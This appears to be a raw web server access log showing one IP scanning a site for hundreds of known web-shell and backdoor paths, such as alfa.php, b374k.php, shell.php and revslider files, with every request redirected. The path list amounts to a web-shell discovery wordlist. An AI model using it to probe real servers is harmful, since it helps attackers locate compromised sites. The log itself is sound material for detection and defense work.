"-" 13.82.181.88 - - [08/Apr/2025:02:23:49 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:51 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:53 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:56 -0400] "GET /wp-content/plugins/TOPXOH/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:57 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:59 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:01 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:02 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:04 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:06 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:07 -0400] "GET /sql_editor.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:09 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:11 -0400] "GET /change_password.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:12 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:15 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:17 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:21 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:22 -0400] "GET /wp-content/themes/index HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:25 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:28 -0400] "GET /cgi-bin/cgi-bin/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:31 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:32 -0400] "GET /wp-mail.php/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:33 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:34 -0400] "GET /wp-includes/gCdfg/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:35 -0400] "GET /wp-content/themes/twentytwentythree/patterns/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:37 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:39 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:40 -0400] "GET /ssl_check.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:41 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:44 -0400] "GET /reportes/wp-content/themes/e6rffsr5/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:45 -0400] "GET /wp-content/uploads/2023/gncfqygn.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:47 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:48 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:50 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:52 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:54 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:54 -0400] "GET /user_data.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:55 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:57 -0400] "GET /utilities.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:24:59 -0400] "GET /boot.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:00 -0400] "GET /backup/wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:03 -0400] "GET /wp-content/uploads/7.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:06 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:07 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:09 -0400] "GET /logins.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:12 -0400] "GET /wp-content/themes/astra/inc/metabox/extend-metabox/css/minified/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:15 -0400] "GET /js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:19 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:22 -0400] "GET /wp-content/plugins/ioptimization/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:25 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:27 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:29 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:31 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:34 -0400] "GET /.well-known/cwianpri.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:36 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:38 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 62.171.167.190 - - [08/Apr/2025:02:25:38 -0400] "GET /style.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.82.181.88 - - [08/Apr/2025:02:25:39 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:41 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:45 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:46 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:48 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:50 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/a.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:53 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:55 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:25:58 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:01 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:03 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:05 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:09 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:14 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:18 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:23 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:26 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:29 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:33 -0400] "GET /wp-admin/css/colors/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:36 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:39 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:42 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:45 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:46 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:48 -0400] "GET /wp-content/themes/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:51 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:53 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:56 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:26:59 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:03 -0400] "GET /wordpress/wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:07 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:09 -0400] "GET /doc.php/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:12 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:15 -0400] "GET /wp-content/plugins/fcexjsk/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:18 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:21 -0400] "GET /ern1.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:24 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:28 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:31 -0400] "GET /wp-includes/agTOMuSfW6r.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:35 -0400] "GET /wp-content/plugins2/loco-translate/tpl/debug/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:38 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:42 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:47 -0400] "GET /delete.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:51 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:53 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:56 -0400] "GET /wp-includes/template-wploader.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:27:59 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:28:02 -0400] "GET /wp-content/plugins/ImageManager/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:28:06 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:28:10 -0400] "GET /wp-content/plugins/masterx/wpx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:28:14 -0400] "GET /assets/images/cmd.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:28:19 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:28:28 -0400] "GET /wp-content/plugins/insert-headers-and-footers/languages/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:28:36 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:28:40 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:28:46 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:28:50 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:28:55 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:28:58 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:29:02 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:29:07 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:29:11 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:29:13 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:29:16 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:29:20 -0400] "GET /wp-content/user/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:29:24 -0400] "GET /wp-content/plugins/config HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:29:28 -0400] "GET /cgi-bin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:29:32 -0400] "GET /wp-includes/amaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:29:35 -0400] "GET /wp-includes/sitemaps/providers/class-wp-sitemaps-admin.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:29:39 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:29:43 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:29:47 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:29:51 -0400] "GET /site/wp-content/plugins/hmdqckh/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:29:54 -0400] "GET /sleepster/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:29:57 -0400] "GET /wp-content/plugins/carousel-slider/assets/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:30:00 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:30:05 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:30:10 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:30:16 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:30:24 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:30:32 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:30:39 -0400] "GET /wp-includes/js/crop/mart.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:30:47 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:30:53 -0400] "GET /wp-content/uploads/index HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:30:56 -0400] "GET /120f9.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:30:59 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:31:01 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:31:05 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:31:08 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:31:11 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:31:15 -0400] "GET /error_exception.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:31:20 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:31:25 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:31:32 -0400] "GET /review.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:31:38 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:31:43 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:31:50 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:31:55 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:00 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:09 -0400] "GET /wp-content/plugins/vjeqbbj/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:12 -0400] "GET /wp-content/ccx/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:18 -0400] "GET /wp-admin/js//wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:20 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:23 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:25 -0400] "GET /wizard.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:27 -0400] "GET /alfa-rex.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:31 -0400] "GET /wp-content/plugins/wp-hps/sh/b374k.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:33 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:34 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:36 -0400] "GET /wp-content/uploads/BbUMY/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:39 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:40 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:42 -0400] "GET /query.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:43 -0400] "GET /wp-includes/class-wp-cache.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:45 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:49 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:52 -0400] "GET /wp-content/themes/f25zgwig/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:55 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:32:59 -0400] "GET /wp-content/plugins/wordfence/js/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:03 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:06 -0400] "GET /test/maxitest_v3/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:09 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:12 -0400] "GET /wp-includes/eew.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:14 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:16 -0400] "GET /wp-admin/themes/setup HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:19 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:20 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:23 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:26 -0400] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:31 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:34 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:38 -0400] "GET /wp-content/plugins/ccx/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:41 -0400] "GET /wp-content/languages/index.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:46 -0400] "GET /wp-content/plugins/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:49 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:50 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:53 -0400] "GET /products/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:33:56 -0400] "GET /wp-admin/setup HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:00 -0400] "GET /wp-content/plugins/dzs-zoomsounds/error_log_1210678535.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:03 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:06 -0400] "GET /permissions.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:09 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:12 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:14 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:17 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:20 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:22 -0400] "GET /gawean.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:27 -0400] "GET /wp-includes/fonts/log404.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:31 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:35 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:40 -0400] "GET /download.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:43 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:46 -0400] "GET /test.php7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:50 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:53 -0400] "GET /yanz.php/wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:34:57 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:00 -0400] "GET /.well-known/bek.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:06 -0400] "GET /spam.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:10 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:12 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:15 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:18 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:22 -0400] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:26 -0400] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:28 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:31 -0400] "GET 